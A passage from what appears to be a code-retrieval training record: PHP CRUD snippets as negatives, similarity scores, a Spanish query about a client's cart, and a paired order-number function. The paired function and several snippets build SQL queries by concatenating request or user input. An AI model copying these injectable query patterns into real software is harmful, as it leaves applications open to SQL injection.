$totaliva);\n\t\t$stmt->bindParam(3, $totaldescuentoc);\n\t\t$stmt->bindParam(4, $total);\n\t\t$stmt->bindParam(5, $codcompra);\n\t\t\n\t\t$subtotal= strip_tags($importeivasi);\n $totaliva= rount($subtotal*$iva,2);\n\t\t$tot= rount($subtotal+$subtotalivanoc+$totaliva,2);\n\t\t$totaldescuentoc= rount($tot*$descuento,2);\n\t\t$total= rount($tot-$totaldescuentoc,2);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$stmt->execute();\n\t\t\n\t\t } else {\n\t\t\n\t\t$sql = \" update compras set \"\n\t\t\t .\" subtotalivanoc = ?, \"\n\t\t\t .\" totaldescuentoc = ?, \"\n\t\t\t .\" totalc= ? \"\n\t\t\t .\" where \"\n\t\t\t .\" codcompra = ?;\n\t\t\t \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $subtotal);\n\t\t$stmt->bindParam(2, $totaldescuentoc);\n\t\t$stmt->bindParam(3, $total);\n\t\t$stmt->bindParam(4, $codcompra);\n\t\t\n\t\t$subtotal= strip_tags($importeivano);\n\t\t$tot= rount($subtotal+$subtotalivasic+$totalivac,2);\n\t\t$totaldescuentoc= rount($tot*$descuento,2);\n\t\t$total= rount($tot-$totaldescuentoc,2);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$stmt->execute();\t\t\n\t\t }\t\t\t\t\t\n\n\t\theader(\"Location: detallescompras?mesage=2\");\n\t\texit;\n\n\t\t}\n\t\telse\n\t\t{\n\n################ VERIFICAMOS SI EL TIPO DE ENTRADA ES UN INGREDINTE ###################\n\tif($_POST['tipoentrada']==\"INGREDIENTE\"){\n\n\t\t$sql2 = \"select cantingrediente from ingredientes where cantingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t\t$existenciadb = $p[0][\"cantingrediente\"];\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t$sql = \" update ingredientes set \"\n\t\t.\" cantingrediente = ? \"\n\t\t.\" where \"\n\t\t.\" codingrediente = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $existencia);\n\t\t$stmt->bindParam(2, $codproducto);\n\t\t$cantcompra = strip_tags(base64_decode($_GET[\"cantcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$existencia = $existenciadb - $cantcompra;\n\t\t$stmt->execute();\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexingredientes where codprocesoing = ? and codingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$stmt->execute();\n\n################ VERIFICAMOS SI EL TIPO DE ENTRADA ES UN PRODUCTO ###################\n\t\t\t} else {\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t$sql2 = \"select existencia from productos where codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t\t$existenciadb = $p[0][\"existencia\"];\n\n\t\t$sql = \" update productos set \"\n\t\t.\" existencia = ? \"\n\t\t.\" where \"\n\t\t.\" codproducto = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $existencia);\n\t\t$stmt->bindParam(2, $codproducto);\n\t\t$cantcompra = strip_tags(base64_decode($_GET[\"cantcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$existencia = $existenciadb - $cantcompra;\n\t\t$stmt->execute();\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexproductos where codproceso = ? and codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$stmt->execute();\n\n\t\t$sql = \" delete from compras where codcompra = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$codcompra = base64_decode($_GET[\"codcompra\"]);\n\t\t$stmt->execute();\n\n\t\t$sql = \" delete from detallecompras where coddetallecompra = ? \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$coddetallecompra);\n\t\t$coddetallecompra = base64_decode($_GET[\"coddetallecompra\"]);\n\t\t$stmt->execute();\n\n\t\t\t}\n\n\t\t\theader(\"Location: detallescompras?mesage=2\");\n\t\t\texit;\n\t\t}\n\t}\n\telse\n\t{\n\t\theader(\"Location: detallescompras?mesage=3\");\n\t\texit;\n\t}\n}", "static public function ctrEliminarVenta(){\n\n\t\tif(isset($_GET[\"idVenta\"])){\n\n\t\t\t$tabla = \"ventas\";\n\n\t\t\t$item = \"id\";\n\t\t\t$valor = $_GET[\"idVenta\"];\n\n\t\t\t$traerVenta = ModeloVentas::mdlMostrarVentas($tabla, $item, $valor);\n\n\t\t\t/*=============================================\n\t\t\tACTUALIZAR FECHA ÚLTIMA COMPRA\n\t\t\t=============================================*/\n\n\t\t\t$tablaClientes = \"clientes\";\n\n\t\t\t$itemVentas = null;\n\t\t\t$valorVentas = null;\n\n\t\t\t$traerVentas = ModeloVentas::mdlMostrarVentas($tabla, $itemVentas, $valorVentas);\n\n\t\t\t$guardarFechas = array();\n\n\t\t\tforeach ($traerVentas as $key => $value) {\n\t\t\t\t\n\t\t\t\tif($value[\"id_cliente\"] == $traerVenta[\"id_cliente\"]){\n\n\t\t\t\t\tarray_push($guardarFechas, $value[\"fecha\"]);\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tif(count($guardarFechas) > 1){\n\n\t\t\t\tif($traerVenta[\"fecha\"] > $guardarFechas[count($guardarFechas)-2]){\n\n\t\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t\t$valor = $guardarFechas[count($guardarFechas)-2];\n\t\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t\t}else{\n\n\t\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t\t$valor = $guardarFechas[count($guardarFechas)-1];\n\t\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t\t}\n\n\n\t\t\t}else{\n\n\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t$valor = \"0000-00-00 00:00:00\";\n\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t}\n\n\t\t\t/*=============================================\n\t\t\tFORMATEAR TABLA DE PRODUCTOS Y LA DE CLIENTES\n\t\t\t=============================================*/\n\n\t\t\t$productos = json_decode($traerVenta[\"productos\"], true);\n\n\t\t\t$totalProductosComprados = array();\n\n\t\t\tforeach ($productos as $key => $value) {\n\n\t\t\t\tarray_push($totalProductosComprados, $value[\"cantidad\"]);\n\t\t\t\t\n\t\t\t\t$tablaProductos = \"productos\";\n\n\t\t\t\t$item = \"id\";\n\t\t\t\t$valor = $value[\"id\"];\n\t\t\t\t$orden = \"id\";\n\n\t\t\t\t$traerProducto = ModeloProductos::mdlMostrarProductos($tablaProductos, $item, $valor, $orden);\n\n\t\t\t\t$item1a = \"ventas\";\n\t\t\t\t$valor1a = $traerProducto[\"ventas\"] - $value[\"cantidad\"];\n\n\t\t\t\t$nuevasVentas = ModeloProductos::mdlActualizarProducto($tablaProductos, $item1a, $valor1a, $valor);\n\n\t\t\t\t$item1b = \"stock\";\n\t\t\t\t$valor1b = $value[\"cantidad\"] + $traerProducto[\"stock\"];\n\n\t\t\t\t$nuevoStock = ModeloProductos::mdlActualizarProducto($tablaProductos, $item1b, $valor1b, $valor);\n\n\t\t\t}\n\n\t\t\t$tablaClientes = \"clientes\";\n\n\t\t\t$itemCliente = \"id\";\n\t\t\t$valorCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t$traerCliente = ModeloClientes::mdlMostrarClientes($tablaClientes, $itemCliente, $valorCliente);\n\n\t\t\t$item1a = \"compras\";\n\t\t\t$valor1a = $traerCliente[\"compras\"] - array_sum($totalProductosComprados);\n\n\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item1a, $valor1a, $valorCliente);\n\n\t\t\t/*=============================================\n\t\t\tELIMINAR VENTA\n\t\t\t=============================================*/\n\n\t\t\t$respuesta = ModeloVentas::mdlEliminarVenta($tabla, $_GET[\"idVenta\"]);\n\n\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\techo'<script>\n\n\t\t\t\tswal({\n\t\t\t\t\t type: \"success\",\n\t\t\t\t\t title: \"La venta ha sido borrada correctamente\",\n\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\twindow.location = \"ventas\";\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\n\t\t\t\t</script>';\n\n\t\t\t}\t\t\n\t\t}\n\n\t}", "function eliminarRelacionProceso(){\n $this->objFunc=$this->create('MODObligacionPago');\n $this->res=$this->objFunc->eliminarRelacionProceso($this->objParam);\n $this->res->imprimirRespuesta($this->res->generarJson());\n }", "public function destroy(IDClienteInmueble $iDClienteInmueble)\n {\n //\n }", "public function eliminarusuario($codigo){\r\n\t//Preparamos la conexion a la bdd:\r\n\t$pdo=Database::connect();\r\n\t$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\r\n\t$sql=\"delete from usuario where codigo=?\";\r\n\t$consulta=$pdo->prepare($sql);\r\n//Ejecutamos la sentencia incluyendo a los parametros:\r\n\t$consulta->execute(array($codigo));\r\n\tDatabase::disconnect();\r\n}", "public function posteliminar() {\n $model = (new PaisRepository())->Obtener($_POST['id']);\n\n $rh = (new PaisRepository())->Eliminar($model);\n\n print_r(json_encode($rh));\n }", "public function excluir($id_cliente, $excluir) {\n\n if($excluir==\"S\") { // se o excluir vier setado com algum valor 'S'\n $sql = \"DELETE FROM cliente WHERE id_cliente = :id_cliente\";\n $qry = $this->db->prepare($sql); // prepare para os dados externos\n $qry->bindValue(\":id_cliente\", $id_cliente); // comando para inserir\n $qry->execute(); // comando para executar\n }\n }", "public function delete_phonesclient(){\n\t\t$this->layout = 'ajax';\n\t\n\t\tif($this->request->is('post')){\n\t\t\t$phonesclient_id = $this->request->data['phonesclient_id'];\n\t\n\t\t\t$obj_phonesclient = $this->Phonesclient->findBy('IDPhoneclient', $phonesclient_id);\n\t\t\tif($obj_phonesclient->saveField('Status', 0)){\n\t\t\t\techo json_encode(array('success'=>true,'msg'=>__('Eliminado con &eacute;xito.')));\n\t\t\t\texit();\n\t\t\t}else{\n\t\t\t\techo json_encode(array('success'=>false,'msg'=>__('Error inesperado.')));\n\t\t\t\texit();\n\t\t\t}\n\t\t}\n\t\n\t}", "function excluirPessoa(){\r\n $banco = conectarBanco();\r\n $sql = \"DELETE FROM pessoa WHERE id = '{$_POST[\"id\"]}'\";\r\n $banco->query($sql); // Passa a query fornecida em $sql para o banco de dados\r\n $banco->close(); // Fecha o banco de dados\r\n voltarMenu(); // Volta para a pagina inicial da agenda\r\n}", "public function eliminar()\n\t{\n\t\t$idestado = $_POST['idestado'];\n\t\t//en viamos por parametro el id del estado a eliminar\n\t\tEstado::delete($idestado);\n\t}", "static public function ctrEliminarVenta(){\n\n\t\tif(isset($_GET[\"idVenta\"])){\n\n\t\t\t$tabla = \"ventas\";\n\n\t\t\t$item = \"id\";\n\t\t\t$valor = $_GET[\"idVenta\"];\n\n\t\t\t$traerVenta = ModeloVentas::mdlMostrarVentas($tabla, $item, $valor);\n\n\t\t\t/*=============================================\n\t\t\tACTUALIZAR FECHA ÚLTIMA COMPRA\n\t\t\t=============================================*/\n\n\t\t\t$tablaClientes = \"clientes\";\n\n\t\t\t$itemVentas = null;\n\t\t\t$valorVentas = null;\n\n\t\t\t$traerVentas = ModeloVentas::mdlEliminarVenta($tabla, $itemVentas, $valorVentas);\n\n\t\t\t$guardarFechas = array();\n\n\t\t\tforeach ($traerVentas as $key => $value) {\n\t\t\t\t\n\t\t\t\tif($value[\"id_cliente\"] == $traerVenta[\"id_cliente\"]){\n\n\t\t\t\t\tarray_push($guardarFechas, $value[\"fecha\"]);\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tif(count($guardarFechas) > 1){\n\n\t\t\t\tif($traerVenta[\"fecha\"] > $guardarFechas[count($guardarFechas)-2]){\n\n\t\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t\t$valor = $guardarFechas[count($guardarFechas)-2];\n\t\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t\t}else{\n\n\t\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t\t$valor = $guardarFechas[count($guardarFechas)-1];\n\t\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t\t}\n\n\n\t\t\t}else{\n\n\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t$valor = \"0000-00-00 00:00:00\";\n\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t}\n\n\t\t\t/*=============================================\n\t\t\tFORMATEAR TABLA DE PRODUCTOS Y LA DE CLIENTES\n\t\t\t=============================================*/\n\n\t\t\t$productos = json_decode($traerVenta[\"productos\"], true);\n\n\t\t\t$totalProductosComprados = array();\n\n\t\t\tforeach ($productos as $key => $value) {\n\n\t\t\t\tarray_push($totalProductosComprados, $value[\"cantidad\"]);\n\t\t\t\t\n\t\t\t\t$tablaProductos = \"productos\";\n\n\t\t\t\t$item = \"id\";\n\t\t\t\t$valor = $value[\"id\"];\n\t\t\t\t$orden = \"id\";\n\n\t\t\t\t$traerProducto = ModeloProductos::mdlMostrarProductos($tablaProductos, $item, $valor, $orden);\n\n\t\t\t\t$item1a = \"ventas\";\n\t\t\t\t$valor1a = $traerProducto[\"ventas\"] - $value[\"cantidad\"];\n\n\t\t\t\t$nuevasVentas = ModeloProductos::mdlActualizarProducto($tablaProductos, $item1a, $valor1a, $valor);\n\n\t\t\t\t$item1b = \"stock\";\n\t\t\t\t$valor1b = $value[\"cantidad\"] + $traerProducto[\"stock\"];\n\n\t\t\t\t$nuevoStock = ModeloProductos::mdlActualizarProducto($tablaProductos, $item1b, $valor1b, $valor);\n\n\t\t\t}\n\n\t\t\t$tablaClientes = \"clientes\";\n\n\t\t\t$itemCliente = \"id\";\n\t\t\t$valorCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t$traerCliente = ModeloClientes::mdlMostrarClientes($tablaClientes, $itemCliente, $valorCliente);\n\n\t\t\t$item1a = \"compras\";\n\t\t\t$valor1a = $traerCliente[\"compras\"] - array_sum($totalProductosComprados);\n\n\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item1a, $valor1a, $valorCliente);\n\n\t\t\t/*=============================================\n\t\t\tELIMINAR VENTA\n\t\t\t=============================================*/\n\n\t\t\t$respuesta = ModeloVentas::mdlEliminarVenta($tabla, $_GET[\"idVenta\"]);\n\n\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\techo'<script>\n\n\t\t\t\tswal({\n\t\t\t\t\t type: \"success\",\n\t\t\t\t\t title: \"La venta ha sido borrada correctamente\",\n\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\twindow.location = \"ventas\";\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\n\t\t\t\t</script>';\n\n\t\t\t}\t\t\n\t\t}\n\n\t}", "function removeRegistro($id) {\n GLOBAL $con;\n\n //busca info\n $querybusca = \"select * from kardexs where id='\" . $id . \"'\";\n $qry = mysql_query($querybusca);\n $linha = mysql_fetch_assoc($qry);\n\n //Apagua\n $query = \"delete from kardexs where id='\" . $id . \"'\";\n mysql_query($query, $con) or die(mysql_error());\n\n if (saldoExiste($linha['produto_id'], $linha['estoque_id'])) {\n //atualiza retirando saldo\n $saldoAtual = saldoByEstoque($linha['produto_id'], $linha['estoque_id']);\n if ($linha['sinal'] == '+') {\n $saldoAtual_acerto = $saldoAtual - $linha['qtd'];\n } else {\n $saldoAtual_acerto = $saldoAtual + $linha['qtd'];\n }\n\n\n saldo_atualiza($linha['produto_id'], $linha['estoque_id'], $saldoAtual_acerto);\n }\n}", "public function excluir()\n {\n return (new Database('vagas'))->delete('id = '.$this->id);\n }", "public function eliminar ($idpersona)\n\t{\n\t\t$sql=\"DELETE FROM persona WHERE idpersona='$idpersona';\";\n/*echo \"<pre><br>Elin¡minas:<br>\";\nprint_r($sql);\necho \"</pre>\";\ndie();*/\n\t\treturn ejecutarConsulta($sql);\n\t}", "function deleteComentario($id_evento,$id_comentario){\n $mysqli = Conectar();\n seguridad($id_evento);\n seguridad($id_comentario);\n $mysqli->query(\"Delete From comentarios Where id_evento='$id_evento' and id_comentario='$id_comentario'\");\n }" ]
[ "0.77980226", "0.73040485", "0.71599156", "0.70568985", "0.6905301", "0.69030756", "0.6878988", "0.6798161", "0.6786198", "0.6745999", "0.6724777", "0.6718513", "0.6674204", "0.66661656", "0.6661402", "0.6632", "0.6631669", "0.6615057", "0.65791965", "0.6568596", "0.6557621", "0.65451634", "0.6528453", "0.65254533", "0.6524979", "0.65187365", "0.6509327", "0.64865375", "0.6485632", "0.64830786", "0.6467842", "0.64644635", "0.6437723", "0.63862705", "0.63822544", "0.6377115", "0.63697577", "0.63502127", "0.6345869", "0.6343101", "0.6342449", "0.63399875", "0.63380504", "0.6337031", "0.63349223", "0.6334563", "0.63315177", "0.6330206", "0.6310305", "0.6300042", "0.6299756", "0.6289835", "0.6287133", "0.6281496", "0.6279469", "0.6258843", "0.6258091", "0.6254518", "0.6252196", "0.62445146", "0.62353015", "0.62241626", "0.62179273", "0.62092036", "0.62086505", "0.62067735", "0.6187049", "0.61857903", "0.6184986", "0.6183057", "0.61818457", "0.6180528", "0.61739916", "0.6168695", "0.6165116", "0.6153281", "0.6151823", "0.61512697", "0.61383003", "0.6136937", "0.61366576", "0.6135216", "0.6135216", "0.6135216", "0.61308146", "0.61268693", "0.6116915", "0.6112447", "0.6111011", "0.61084366", "0.6102433", "0.61003435", "0.60918343", "0.6088509", "0.6086464", "0.6077379", "0.6061284", "0.60577315", "0.60553795", "0.6052943", "0.60528994" ]
0.0
-1
muestra el carrito de un cliente
function ObtieneNumPedido($CardCode){ try{ if($this->con->conectar()==true){ $NumPedido = mysql_query("SELECT MAX( NumPedido ) AS NumPedido FROM `ENC_PedidosSolicitados` WHERE `CardCode` = '" .$CardCode. "'"); if($NumPedido){ $Consecutivo = mysql_fetch_array($NumPedido); return $Consecutivo['NumPedido']; } } }catch(Exception $e){ return "Error al agrega ObtieneNumPedido" & $e; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getCliente();", "public function getcliente()\r\n {\r\n return $this->cliente;\r\n }", "public function getNomeCliente(){/*Retorna o nome_cliente*/\n\t\t\treturn $this-> nome_cliente;\n\t\t}", "public function getIdcliente() {\n\t\t\t\treturn $this->id_cliente ?? \"Id do Cliente não solicitado !!\";\n\t\t\t}", "function getIdCliente()\r\n\t {\r\n\t\t return $this->id_cliente;\r\n\t }", "public function getIdCliente(){\r\n return $this->idCliente;\r\n }", "public function getCliente()\n {\n return $this->cliente;\n }", "public function getNom_client()\n {\n return $this->nom_client;\n }", "function altaCliente ($cliente){\r\n $this->clientes[] = $cliente; /// Este es el ejemplo de altaCliente que ha echo Jesús.\r\n }", "function Listar_Clientes()\n\t {\n\t\tlog_message('INFO','#TRAZA| CLIENTES | Listar_Clientes() >> ');\n\t\t$data['list'] = $this->Clientes->Listar_Clientes();\n return $data;\n\t }", "public function getClientes_idclient(){\n return $this->clientes_idclient;\n }", "public function getidcliente(){\n\t\treturn $this->_idcliente;\n\t}", "function listarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_sel';\n\t\t$this->transaccion='REC_CLI_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t\t\t\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('id_cliente','int4');\n\t\t$this->captura('genero','varchar');\n\t\t$this->captura('ci','varchar');\n\t\t$this->captura('email','varchar');\n\t\t$this->captura('email2','varchar');\n\t\t$this->captura('direccion','varchar');\n\t\t$this->captura('celular','varchar');\n\t\t$this->captura('nombre','varchar');\n\t\t$this->captura('lugar_expedicion','varchar');\n\t\t$this->captura('apellido_paterno','varchar');\n\t\t$this->captura('telefono','varchar');\n\t\t$this->captura('ciudad_residencia','varchar');\n\t\t$this->captura('id_pais_residencia','int4');\n\t\t$this->captura('nacionalidad','varchar');\n\t\t$this->captura('barrio_zona','varchar');\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('apellido_materno','varchar');\n\t\t$this->captura('id_usuario_ai','int4');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('usuario_ai','varchar');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\n $this->captura('nombre_completo1','text');\n $this->captura('nombre_completo2','text');\n\t\t$this->captura('pais_residencia','varchar');\n\t\t//$this->captura('nombre','varchar');\n\n\n\n\n\t\t\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function getNomClient() {\n return $this->nomClient;\n }", "public function listar_clientes(){\n\t\t$sql=\"SELECT idpersona, tipo_persona, nombre, tipo_documento, num_documento, contacto, direccion, telefono, email FROM persona\n\t\tWHERE tipo_persona LIKE 'Cliente'\";\n\t\treturn ejecutarConsulta($sql);\n\t}", "public function ctlBuscaClientes(){\n\n\t\t$respuesta = Datos::mdlClientes(\"clientes\");\n\n\t\tforeach ($respuesta as $row => $item){\n\t\t\techo '<option value=\"'.$item[\"nombre\"].'\">'.$item[\"nombre\"].'</option>';\n\t\t}\n\t}", "public function listaCliente() {\n\n return $clientes; // array de clientes\n }", "public function mostrarClientes() {\n //String $retorno\n //Array Cliente $col\n $retorno = \"\";\n $col = $this->getColClientes();\n for ($i = 0; $i < count($col); $i++) {\n $retorno .= $col[$i] . \"\\n\";\n $retorno .= \"----------------------------\\n\";\n }\n return $retorno;\n }", "function _ConsultarClientes()\n\t\t{\n\t\t\t$query='\n\t\t\t\tSELECT\n\t\t\t\tclientes.id,\n\t\t\t\tclientes.nb_cliente,\n\t\t\t\tclientes.nb_apellidos,\n\t\t\t\tclientes.de_email,\n\t\t\t\tclientes.num_celular,\n\t\t\t\tusuarios.nb_nombre as \"Ins_nombre\", \n\t\t\t\tusuarios.nb_apellidos as \"Ins_apellido\" \n\t\t\t\tFROM sgclientes clientes\n\t\t\t\tleft join sgusuarios usuarios on clientes.id_usuario_registro=usuarios.id\n\t\t\t\twhere clientes.sn_activo=1\n\t\t\t\tORDER BY clientes.id ASC\n\t\t\t\n\t\t\t';\n\t\t\t$clientes = $this->EjecutarTransaccionAllNoParams($query);\n\t\t\treturn $clientes;\n\t\t}", "public function getCodCliente()\n {\n return $this->codCliente;\n }", "public function cliente_get(){\n\t\t$cliente_id = $this->uri->segment(3);\n\n\t\t//validar el cliente id\n\t\tif (!isset($cliente_id)) {\n\t\t\t$respuesta = array(\n\t\t\t\t'err'=>TRUE,\n\t\t\t\t'mensaje'=>'Es necesario el id del cliente'\n\t\t\t);\n\n\t\t\t$this->response($respuesta, REST_Controller::HTTP_BAD_REQUEST);\n\t\t}\n\n\t\t//lo paso al modelo\n\t\t$cliente = $this->Cliente_model->get_cliente($cliente_id);\n\n\t\t//cargo, valido y lo devuelto para que se muestre\n\t\tif(isset($cliente)){\n\t\t\t$respuesta=array(\n\t\t\t\t'err'=>FALSE,\n\t\t\t\t'mensaje'=>'Registro cargado correctamente',\n\t\t\t\t'cliente'=>$cliente\n\t\t\t);\n\n\t\t\t$this->response($respuesta);\n\t\t}else{\n\t\t\t$respuesta=array(\n\t\t\t\t'err'=>TRUE,\n\t\t\t\t'mensaje'=>'El registro con el id '.$cliente_id.', no exste',\n\t\t\t\t'cliente'=>null\n\t\t\t);\n\t\t\t$this->response($respuesta, REST_Controller::HTTP_NOT_FOUND);\n\t\t}\n\t}", "public function getNomeCliente()\n {\n return $this->nomeCliente;\n }", "public function getCodigoCliente()\n {\n return $this->codigoCliente;\n }", "public function getCodigoCliente()\n {\n return $this->codigoCliente;\n }", "public function getCodigoCliente()\n {\n return $this->codigoCliente;\n }", "public function getAplicarDescontoCliente()\n {\n return $this->aplicar_desconto_cliente;\n }", "public function getIdCliente()\n {\n return $this->idCliente;\n }", "function leerClientes(){\n \n try{\n $stmt = $this->dbh->prepare(\"SELECT c.idClienteTg, c.NombreCte,c.RFCCte, c.direccion, c.ciudad,c.estado, c.email, c.telefono, c.numTg,r.nombreReferencia FROM referencias r join tarjetas_clientes c on r.idreferencia=c.referenciaId where c.status=1\");\n // Especificamos el fetch mode antes de llamar a fetch()\n $stmt->execute();\n $clientes = $stmt->fetchAll(PDO::FETCH_NUM);\n } catch (PDOException $e){\n $clientes=array(\"status\"=>\"0\",\"mensaje\"=>$e->getMessage());\n }\n \n return $clientes;\n }", "public function getcliente() {\n \n $procedure = \"call sp_appweb_pt_getclienteinterno()\";\n\t\t$query = $this->db-> query($procedure);\n \n if ($query->num_rows() > 0) {\n\n $listas = '<option value=\"0\" selected=\"selected\"></option>';\n \n foreach ($query->result() as $row)\n {\n $listas .= '<option value=\"'.$row->CCLIENTE.'\">'.$row->RAZONSOCIAL.'</option>'; \n }\n return $listas;\n }{\n return false;\n }\t\n }", "function getCliente($filter) {\n $where = \" WHERE Id_cliente LIKE :Id_cliente OR Nombre LIKE :Nombre OR Apellido_paterno LIKE :Apellido_paterno\";\n $array = array(\n 'Id_cliente' => '%' . $filter . '%',\n 'Nombre' => '%' . $filter . '%',\n 'Apellido_paterno' => '%' . $filter . '%',\n );\n\n $columns = \"Id_cliente, Nombre, Apellido_paterno, Apellido_materno, Email, Edad, Fecha_inicio, Folio\";\n //Retorname el valor de acuerdo a los parametros que estan arriba\n return $this->db->select1($columns, \"clientes\", $where, $array);\n }", "public function getNomeFantasiaCliente()\n {\n return $this->nomeFantasiaCliente;\n }", "public function ClientesPorId()\n{\n\tself::SetNames();\n\t$sql = \" select * from clientes where codcliente = ? \";\n\t$stmt = $this->dbh->prepare($sql);\n\t$stmt->execute( array(base64_decode($_GET[\"codcliente\"])) );\n\t$num = $stmt->rowCount();\n\tif($num==0)\n\t{\n\t\techo \"\";\n\t}\n\telse\n\t{\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$this->p[] = $row;\n\t\t\t}\n\t\t\treturn $this->p;\n\t\t\t$this->dbh=null;\n\t\t}\n\t}", "function listarClienteLibro()\n {\n $this->procedimiento='rec.ft_cliente_sel';\n $this->transaccion='REC_RELIBRO_SEL';\n $this->tipo_procedimiento='SEL';//tipo de transaccion\n\n $this->setParametro('id_oficina_registro_incidente','id_oficina_registro_incidente','integer');\n $this->setParametro('fecha_ini','fecha_ini','date');\n $this->setParametro('fecha_fin','fecha_fin','date');\n $this->setCount(false);\n\n $this->captura('id_reclamo','int4');\n $this->captura('nro_frd','varchar');\n $this->captura('correlativo_preimpreso_frd','int4');\n $this->captura('fecha_hora_incidente','timestamp');\n $this->captura('fecha_hora_recepcion','timestamp');\n $this->captura('fecha_hora_recepcion_sac','date');\n $this->captura('detalle_incidente','text');\n $this->captura('nombre','text');\n $this->captura('celular','varchar');\n 